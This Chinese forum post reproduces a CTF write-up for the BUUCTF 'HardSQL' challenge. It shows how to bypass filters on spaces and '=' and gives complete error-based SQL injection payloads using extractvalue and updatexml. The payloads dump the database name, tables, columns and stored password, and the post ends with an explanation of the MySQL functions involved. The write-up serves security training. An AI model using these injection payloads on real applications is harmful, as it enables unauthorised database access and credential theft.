找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 48|回复: 0

☆ BUUCTF靶场25 -- [极客大挑战 2019]HardSQL

[复制链接]

2万

主题

128

回帖

10万

积分

管理员

积分
105864
发表于 2022-9-5 15:03:52 | 显示全部楼层 |阅读模式 IP:山东省青岛市 移动

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×
BUUCTF靶场25 -- [极客大挑战 2019]HardSQL

打开题目的实例



一些过滤的绕过措施:

  • =:使用 Like 绕过;
  • 空格:使用 /**/ 或者 () 绕过;
  • substring 与 mid:使用 right 与 left 来绕过;

思路

SQl的题目,首先试一试万能密码,如 ' or 1=1#


试一下双写


看来被封死了,想想其他的办法,可以使用extractvalue和updatexml进行报错注入,空格和=号和/**/也被过滤了,所以我们要使用 () 来代替空格,使用like来代替=号


使用extractvalue()
[PHP] 纯文本查看 复制代码
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23
[PHP] 纯文本查看 复制代码
'or(updatexml(1,concat(0x7e,database(),0x7e),1))#


这一下报错把数据库名给爆出来了

爆表
[PHP] 纯文本查看 复制代码
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23


爆字段
[SQL] 纯文本查看 复制代码
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23


爆数据

把password查出来


[SQL] 纯文本查看 复制代码
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

flag出来了,不对好像只有一半,使用{left(),right()}


[SQL] 纯文本查看 复制代码
/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23

/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23


拼接起来就是flag了




总结:

拿到了数据库,然后接着是表名 → 列名 → 字段:

[SQL] 纯文本查看 复制代码
updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)
updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)[/p][p=26, null, left]'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))#[/p][p=26, null, left]

补充

MySQL 5.1.5 版本中添加了对 XML 文档进行查询和修改的两个函数:extractvalue、updatexml;


名称描述
ExtractValue()使用 XPath 表示法从 XML 字符串中提取值
UpdateXML()返回替换的 XML 片段

通过这两个函数可以完成报错注入;

extractvalue

ExtractValue(xml_frag, xpath_expr):


ExtractValue() 接受两个字符串参数,一个 XML 标记片段 xml_frag 和一个 XPath 表达式 xpath_expr(也称为 定位器);它返回 CDATA 第一个文本节点的 text(),该节点是 XPath 表达式匹配的元素的子元素。
第一个参数可以传入目标 xml 文档,第二个参数是用 Xpath 路径法表示的查找路径;
例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b'),就是寻找前一段 xml 文档内容中的 a 节点下的 b 节点,这里如果 Xpath 格式语法书写错误的话,就会报错,利用这个特性来获得我们想要知道的内容,如下:

利用 concat 函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
[SQL] 纯文本查看 复制代码
SELECT ExtractValue('<a><b><b/></a>', concat('~',(select database())))


updatexml

UpdateXML(xml_target, xpath_expr, new_xml):


  • xml_target:需要操作的 xml 片段;
  • xpath_expr:需要更新的 xml 路径(Xpath 格式);
  • new_xml:更新后的内容;

此函数用来更新选定 XML 片段的内容,将 XML 标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml,然后返回更改的 XML,xml_target 替换的部分与 xpath_expr 用户提供的 XPath 表达式匹配。
如果 xpath_expr 未找到表达式匹配,或者找到多个匹配项,则该函数返回原始 xml_target XML片段,所有三个参数都应该是字符串,使用方式如下:
[SQL] 纯文本查看 复制代码
mysql> SELECT
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
    ->   UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5
    -> \G


运行结果:
[SQL] 纯文本查看 复制代码
val1: <e>fff</e>
val2: <a><b>ccc</b><d></d></a>
val3: <a><e>fff</e><d></d></a>
val4: <a><b>ccc</b><e>fff</e></a>
val5: <a><d></d><b>ccc</b><d></d></a>


这里和上面的 extractvalue 函数一样,当 Xpath 路径语法错误时,就会报错,报错内容含有错误的路径内容:






from:
     1. https://blog.csdn.net/qq_45163122/article/details/105908125
     2. https://blog.csdn.net/weixin_46263782/article/details/120741755

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|IOTsec-Zone|在线工具|CTF WiKi|CTF平台汇总|CTF show|ctfhub|棱角安全|rutracker|攻防世界|php手册|peiqi文库|CyberChef|猫捉鱼铃|手机版|小黑屋|cn-sec|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2024-5-19 18:45

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表